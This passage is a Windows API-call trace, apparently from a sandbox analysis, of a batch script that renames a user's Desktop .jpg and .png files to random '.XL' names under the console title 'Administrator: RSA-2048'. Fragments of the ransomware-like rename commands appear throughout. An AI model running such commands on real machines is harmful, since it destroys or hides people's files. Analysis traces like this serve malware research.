lpDistanceToMoveHigh=0x0) returned 0xd43 [0038.365] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.365] GetFileType (hFile=0x74) returned 0x1 [0038.365] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd43 [0038.365] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.365] SetFilePointer (in: hFile=0x74, lDistanceToMove=3397, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd45 [0038.365] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0038.365] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.365] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd45 [0038.365] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.365] GetFileType (hFile=0x74) returned 0x1 [0038.365] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd45 [0038.365] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.365] SetFilePointer (in: hFile=0x74, lDistanceToMove=3403, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd4b [0038.365] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":jpg\r\nock\r\n") returned 6 [0038.365] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.365] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd4b [0038.366] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.366] GetFileType (hFile=0x74) returned 0x1 [0038.366] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd4b [0038.366] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.366] SetFilePointer (in: hFile=0x74, lDistanceToMove=3405, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd4d [0038.366] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\npg\r\n") returned 2 [0038.366] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.366] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd4d [0038.366] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.366] GetFileType (hFile=0x74) returned 0x1 [0038.366] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd4d [0038.366] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.366] SetFilePointer (in: hFile=0x74, lDistanceToMove=3431, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd67 [0038.366] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.jpg %RANDOM%.XL\r\n") returned 26 [0038.366] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.366] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd67 [0038.366] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.366] GetFileType (hFile=0x74) returned 0x1 [0038.366] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd67 [0038.367] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.367] SetFilePointer (in: hFile=0x74, lDistanceToMove=3442, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd72 [0038.367] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\ng %RANDOM%.XL\r\n") returned 11 [0038.367] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.367] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd72 [0038.367] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.367] GetFileType (hFile=0x74) returned 0x1 [0038.367] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd72 [0038.367] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.367] SetFilePointer (in: hFile=0x74, lDistanceToMove=3444, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd74 [0038.367] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0038.367] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.367] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd74 [0038.367] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.367] GetFileType (hFile=0x74) returned 0x1 [0038.367] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd74 [0038.367] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.367] SetFilePointer (in: hFile=0x74, lDistanceToMove=3450, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd7a [0038.367] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":png\r\nock\r\n") returned 6 [0038.367] _close (_FileHandle=3) returned 0 [0038.368] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.368] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.368] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.368] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0038.369] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.369] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0038.369] SetConsoleInputExeNameW () returned 0x1 [0038.369] GetConsoleOutputCP () returned 0x1b5 [0038.369] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0038.369] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.369] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.369] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.369] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.369] SetFilePointer (in: hFile=0x74, lDistanceToMove=3450, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd7a [0038.369] GetProcessHeap () returned 0x4e0000 [0038.369] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e0880 | out: hHeap=0x4e0000) returned 1 [0038.369] GetProcessHeap () returned 0x4e0000 [0038.369] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5940 | out: hHeap=0x4e0000) returned 1 [0038.369] GetProcessHeap () returned 0x4e0000 [0038.370] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0038.370] GetProcessHeap () returned 0x4e0000 [0038.370] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0038.370] GetProcessHeap () returned 0x4e0000 [0038.370] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0038.370] GetProcessHeap () returned 0x4e0000 [0038.370] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0038.370] GetProcessHeap () returned 0x4e0000 [0038.370] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0038.370] GetProcessHeap () returned 0x4e0000 [0038.370] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0038.370] GetProcessHeap () returned 0x4e0000 [0038.370] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0038.370] GetProcessHeap () returned 0x4e0000 [0038.370] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0038.370] GetProcessHeap () returned 0x4e0000 [0038.370] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0038.370] GetProcessHeap () returned 0x4e0000 [0038.370] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0038.370] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.370] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd7a [0038.370] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x18b3, lpOverlapped=0x0) returned 1 [0038.370] SetFilePointer (in: hFile=0x74, lDistanceToMove=3452, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd7c [0038.370] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.png goto png\r\n\r\n") returned 2 [0038.370] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.370] GetFileType (hFile=0x74) returned 0x1 [0038.370] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.370] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd7c [0038.371] GetProcessHeap () returned 0x4e0000 [0038.371] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.371] GetProcessHeap () returned 0x4e0000 [0038.371] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.371] _tell (_FileHandle=3) returned 3452 [0038.371] _close (_FileHandle=3) returned 0 [0038.371] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.371] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.371] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.371] SetFilePointer (in: hFile=0x74, lDistanceToMove=3452, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd7c [0038.371] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.371] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd7c [0038.371] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x18b1, lpOverlapped=0x0) returned 1 [0038.371] SetFilePointer (in: hFile=0x74, lDistanceToMove=3478, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd96 [0038.371] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="RENAME *.png %RANDOM%.XL\r\n\n") returned 26 [0038.371] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.371] GetFileType (hFile=0x74) returned 0x1 [0038.372] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.372] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd96 [0038.372] GetProcessHeap () returned 0x4e0000 [0038.372] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.372] GetProcessHeap () returned 0x4e0000 [0038.372] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x4008) returned 0x5078b8 [0038.372] GetProcessHeap () returned 0x4e0000 [0038.372] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x16) returned 0x4f5880 [0038.372] GetEnvironmentVariableW (in: lpName="RANDOM", lpBuffer=0x4a610640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0038.372] _wcsicmp (_String1="RANDOM", _String2="CD") returned 15 [0038.372] _wcsicmp (_String1="RANDOM", _String2="ERRORLEVEL") returned 13 [0038.372] _wcsicmp (_String1="RANDOM", _String2="CMDEXTVERSION") returned 15 [0038.372] _wcsicmp (_String1="RANDOM", _String2="CMDCMDLINE") returned 15 [0038.372] _wcsicmp (_String1="RANDOM", _String2="DATE") returned 14 [0038.372] _wcsicmp (_String1="RANDOM", _String2="TIME") returned -2 [0038.372] _wcsicmp (_String1="RANDOM", _String2="RANDOM") returned 0 [0038.372] rand () returned 31726 [0038.372] _vsnwprintf (in: _Buffer=0x4a610640, _BufferCount=0x1fff, _Format="%d", _ArgList=0x41f464 | out: _Buffer="31726") returned 5 [0038.372] GetProcessHeap () returned 0x4e0000 [0038.372] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0038.372] GetProcessHeap () returned 0x4e0000 [0038.372] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5078b8 | out: hHeap=0x4e0000) returned 1 [0038.373] GetProcessHeap () returned 0x4e0000 [0038.373] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.373] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0038.373] GetProcessHeap () returned 0x4e0000 [0038.373] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x16) returned 0x4f5880 [0038.373] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x28) returned 0x4f6080 [0038.373] _tell (_FileHandle=3) returned 3478 [0038.373] _close (_FileHandle=3) returned 0 [0038.373] _wcsicmp (_String1="RENAME", _String2="DIR") returned 14 [0038.373] _wcsicmp (_String1="RENAME", _String2="ERASE") returned 13 [0038.373] _wcsicmp (_String1="RENAME", _String2="DEL") returned 14 [0038.373] _wcsicmp (_String1="RENAME", _String2="TYPE") returned -2 [0038.373] _wcsicmp (_String1="RENAME", _String2="COPY") returned 15 [0038.373] _wcsicmp (_String1="RENAME", _String2="CD") returned 15 [0038.373] _wcsicmp (_String1="RENAME", _String2="CHDIR") returned 15 [0038.373] _wcsicmp (_String1="RENAME", _String2="RENAME") returned 0 [0038.373] GetConsoleTitleW (in: lpConsoleTitle=0x41f104, nSize=0x104 | out: lpConsoleTitle="Administrator: RSA-2048") returned 0x18 [0038.374] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x48) returned 0x4f4a98 [0038.374] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f4a98, Size=0x28) returned 0x4f4a98 [0038.374] GetProcessHeap () returned 0x4e0000 [0038.374] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4a98) returned 0x28 [0038.374] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x36) returned 0x4f4ac8 [0038.374] GetProcessHeap () returned 0x4e0000 [0038.374] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x48) returned 0x4f4b08 [0038.374] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f4b08, Size=0x28) returned 0x4f4b08 [0038.374] GetProcessHeap () returned 0x4e0000 [0038.374] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b08) returned 0x28 [0038.374] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x2c) returned 0x4f4b38 [0038.374] GetProcessHeap () returned 0x4e0000 [0038.374] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x258) returned 0x4f6868 [0038.374] _wcsicmp (_String1="*.png", _String2=".") returned -4 [0038.374] _wcsicmp (_String1="*.png", _String2="..") returned -4 [0038.374] GetFileAttributesW (lpFileName="*.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\*.png")) returned 0xffffffff [0038.374] GetLastError () returned 0x7b [0038.375] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x210) returned 0x4f6ac8 [0038.375] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4f6ad0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0038.375] GetFullPathNameW (in: lpFileName="*.png", nBufferLength=0x104, lpBuffer=0x41e868, lpFilePart=0x41e850 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.png", lpFilePart=0x41e850*="*.png") returned 0x2b [0038.375] SetErrorMode (uMode=0x0) returned 0x1 [0038.375] GetProcessHeap () returned 0x4e0000 [0038.375] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x258) returned 0x4f6ce0 [0038.375] _wcsicmp (_String1="*.png", _String2=".") returned -4 [0038.375] _wcsicmp (_String1="*.png", _String2="..") returned -4 [0038.375] GetFileAttributesW (lpFileName="*.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\*.png")) returned 0xffffffff [0038.375] GetLastError () returned 0x7b [0038.375] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.png", fInfoLevelId=0x1, lpFindFileData=0x4f6870, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x4f6870) returned 0x4f4b70 [0038.375] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qp0BZ1_uj93C.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qp0bz1_uj93c.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\31726.XL" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\31726.xl")) returned 1 [0038.376] FindNextFileW (in: hFindFile=0x4f4b70, lpFindFileData=0x4f6870 | out: lpFindFileData=0x4f6870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb29ce10, ftCreationTime.dwHighDateTime=0x1d5deb5, ftLastAccessTime.dwLowDateTime=0xb5a96ab0, ftLastAccessTime.dwHighDateTime=0x1d5df7e, ftLastWriteTime.dwLowDateTime=0xb5a96ab0, ftLastWriteTime.dwHighDateTime=0x1d5df7e, nFileSizeHigh=0x0, nFileSizeLow=0x1537, dwReserved0=0x0, dwReserved1=0x0, cFileName="rutn.png", cAlternateFileName="")) returned 1 [0038.376] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rutn.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rutn.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\31726.XL" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\31726.xl")) returned 0 [0038.376] GetLastError () returned 0xb7 [0038.376] _get_osfhandle (_FileHandle=2) returned 0xb [0038.376] GetFileType (hFile=0xb) returned 0x2 [0038.377] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0038.377] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x41e9f8 | out: lpMode=0x41e9f8) returned 1 [0038.377] _get_osfhandle (_FileHandle=2) returned 0xb [0038.377] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xb, lpConsoleScreenBufferInfo=0x41ea2c | out: lpConsoleScreenBufferInfo=0x41ea2c) returned 1 [0038.377] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x234d, dwLanguageId=0x0, lpBuffer=0x4a614640, nSize=0x2000, Arguments=0x0 | out: lpBuffer="A duplicate file name exists, or the file\r\ncannot be found.\r\n") returned 0x3d [0038.377] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x234d, dwLanguageId=0x0, lpBuffer=0x4a614640, nSize=0x2000, Arguments=0x41ea6c | out: lpBuffer="A duplicate file name exists, or the file\r\ncannot be found.\r\n") returned 0x3d [0038.377] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x4a614640*, nNumberOfCharsToWrite=0x3d, lpNumberOfCharsWritten=0x41ea50, lpReserved=0x0 | out: lpBuffer=0x4a614640*, lpNumberOfCharsWritten=0x41ea50*=0x3d) returned 1 [0038.378] FindNextFileW (in: hFindFile=0x4f4b70, lpFindFileData=0x4f6870 | out: lpFindFileData=0x4f6870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8535c070, ftCreationTime.dwHighDateTime=0x1d5d8aa, ftLastAccessTime.dwLowDateTime=0x7858b270, ftLastAccessTime.dwHighDateTime=0x1d5db90, ftLastWriteTime.dwLowDateTime=0x7858b270, ftLastWriteTime.dwHighDateTime=0x1d5db90, nFileSizeHigh=0x0, nFileSizeLow=0x127cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="xQgkXBIV9.png", cAlternateFileName="")) returned 1 [0038.378] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xQgkXBIV9.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xqgkxbiv9.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\31726.XL" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\31726.xl")) returned 0 [0038.378] GetLastError () returned 0xb7 [0038.378] _get_osfhandle (_FileHandle=2) returned 0xb [0038.378] GetFileType (hFile=0xb) returned 0x2 [0038.379] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0038.379] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x41e9f8 | out: lpMode=0x41e9f8) returned 1 [0038.379] _get_osfhandle (_FileHandle=2) returned 0xb [0038.379] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xb, lpConsoleScreenBufferInfo=0x41ea2c | out: lpConsoleScreenBufferInfo=0x41ea2c) returned 1 [0038.379] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x234d, dwLanguageId=0x0, lpBuffer=0x4a614640, nSize=0x2000, Arguments=0x0 | out: lpBuffer="A duplicate file name exists, or the file\r\ncannot be found.\r\n") returned 0x3d [0038.379] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x234d, dwLanguageId=0x0, lpBuffer=0x4a614640, nSize=0x2000, Arguments=0x41ea6c | out: lpBuffer="A duplicate file name exists, or the file\r\ncannot be found.\r\n") returned 0x3d [0038.379] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x4a614640*, nNumberOfCharsToWrite=0x3d, lpNumberOfCharsWritten=0x41ea50, lpReserved=0x0 | out: lpBuffer=0x4a614640*, lpNumberOfCharsWritten=0x41ea50*=0x3d) returned 1 [0038.380] FindNextFileW (in: hFindFile=0x4f4b70, lpFindFileData=0x4f6870 | out: lpFindFileData=0x4f6870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8535c070, ftCreationTime.dwHighDateTime=0x1d5d8aa, ftLastAccessTime.dwLowDateTime=0x7858b270, ftLastAccessTime.dwHighDateTime=0x1d5db90, ftLastWriteTime.dwLowDateTime=0x7858b270, ftLastWriteTime.dwHighDateTime=0x1d5db90, nFileSizeHigh=0x0, nFileSizeLow=0x127cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="xQgkXBIV9.png", cAlternateFileName="")) returned 0 [0038.380] GetLastError () returned 0x12 [0038.380] FindClose (in: hFindFile=0x4f4b70 | out: hFindFile=0x4f4b70) returned 1 [0038.380] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.380] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.380] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.380] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0038.380] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.380] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0038.380] SetConsoleInputExeNameW () returned 0x1 [0038.381] GetConsoleOutputCP () returned 0x1b5 [0038.381] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0038.381] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.381] CreateFileW 